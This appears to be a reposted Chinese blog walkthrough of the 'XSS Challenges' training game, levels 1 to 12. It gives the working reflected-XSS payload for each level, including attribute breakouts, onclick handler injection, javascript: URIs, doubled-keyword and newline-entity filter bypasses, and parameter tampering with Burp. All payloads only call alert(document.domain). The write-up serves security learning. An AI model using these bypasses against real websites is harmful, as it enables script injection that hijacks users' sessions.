XSS Challenges(1-12关)

XSS Challenges解析:

1.

什么过滤也没有,而且是直接输出。<scrip>alert(document.domain);</script>即可通过

2.

直接输入第一关不行,查看源代码:
<input type="text" name="p1" size="50" value="<scrip>alert(document.domain);</script>">

发现了这么一行代码,闭合语句试试,输入:"><script>alert(document.domain);</script>//

3.

大家仔细看这个题目,输入的地方有两处,只不过第二处只能从四个国家里面选择一个,但是通过burp抓包,我们可以解决。
先上来按照一般的思路,就直接在输入框里面输入:<script>alert(document.domain);</script>

我们查看源代码可以看到这个,
avatar
说明对我们直接输入的代码进行了过滤。但是看后边的这个USA,他是不是也过滤了呢,我们用burp抓个包。

avatar

将Japan的值直接修改为<script>alert(document.domain);</script>
发送,通过,USA并没有过滤。

avatar

4.

抓个包,发现提交三个参数。前两个肯定过滤了,不然给你第三个参数干啥。
avatar
发送后,看看源码。
avatar
真的是,第三个参数value没有过滤,只不过这个没有直接在页面上看出来。再发现就是闭合input就行了。构造:"><script>alert(document.domain);</script>//

5.

抓个包

avatar

原来是限制了长度,把3改成100,然后查看源代码,闭合input,和上边的一样。"><script>alert(document.domain);</script>//

6.

抓个包,发现只能提交一个参数。直接把上一贯关内容提交。
avatar

发现把<>都进行了编码。看一下hint。event handler attribute:事件处理程序。直接百度。
avatar
avatar

找到了我想要的答案。
这样正好绕开了<>的输入,构造:" onclick="alert(document.domain);"//
值得一提的是,这个onclick是点击输入框才会弹出来,而不是按钮哟。

7.

输入上一关的内容后,发现双引号被过滤。首先说一下,onclick,value,type这种="",其实可以不用存在双引号。

我们首先把alert()的双引号去掉。

构造:" onclick=alert(document.domain);//
在输入然后search,查看源代码

avatar

发现value就剩下一个编码后的双引号。what?我们现在只输入1看看
查看源代码
avatar
虽然不知道咋回事,但是我知道value引号不用闭合了。

构造1 onclick=alert(document.domain);// 查看源代码:
avatar

这个时候已经成功了,点那个输入框,通过。

8.

JavaScript伪协议,先直接输入javascript:alert(document.domain);。查看源代码:
avatar

什么也不用闭合,就这样就行了,然后点击页面的url,通过。

9.

发现 < > " 都被过滤了。

hint: utf-7编码,先源代码看一下怎么闭合。

" onclick=alert(document.domain)//  

utf-7编码:

+AG8AbgBjAGwAaQBjAGsAPQBhAGwAZQByAHQAKABkAG8AYwB1AG0AZQBuAHQALgBkAG8AbQBhAGkAbgApAC8AL-

不行啊,百度xss utf-7,原理:没有指定编码,浏览器以utf-7编码来解析。
而且必须是IE7。都已经被修复的东西,而且IE7谁还用这老古董啊,就不继续研究6了。
过关方法:
avatar

百度的,真是会玩。

10.

随便输入,查看源码,闭合语句。search后,再次查看源码:
avatar

domain没了。看hint:s/domain//g;估计是正则表达式替换为了空字符串。如果没有循环替换,试一下双写绕过。domadomainin,这样他只替换一次,这个字符串就变成了domain。构造" onclick=alert(document.domdomainain);//过关.

11.

hint:"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"

script转化为xscriptonclickonload之类转化为onxxx
前边的都不能用了,不过还有个href。javascript那里虽然有script,但是可以用 制表符,回车符,换行符 来欺骗过滤器。
avatar

构造"><a href="javascr&#10;ipt:alert(document.domain);">1<a>

12.

\x00-\x20 < > " '都过滤掉了。
看别人的wp,
`IE下会被解析为引号,所以用这个闭合前边的value。
构造

`onclick=alert(document.domain); `

猜你喜欢

转载自www.cnblogs.com/zaqzzz/p/9420570.html
xss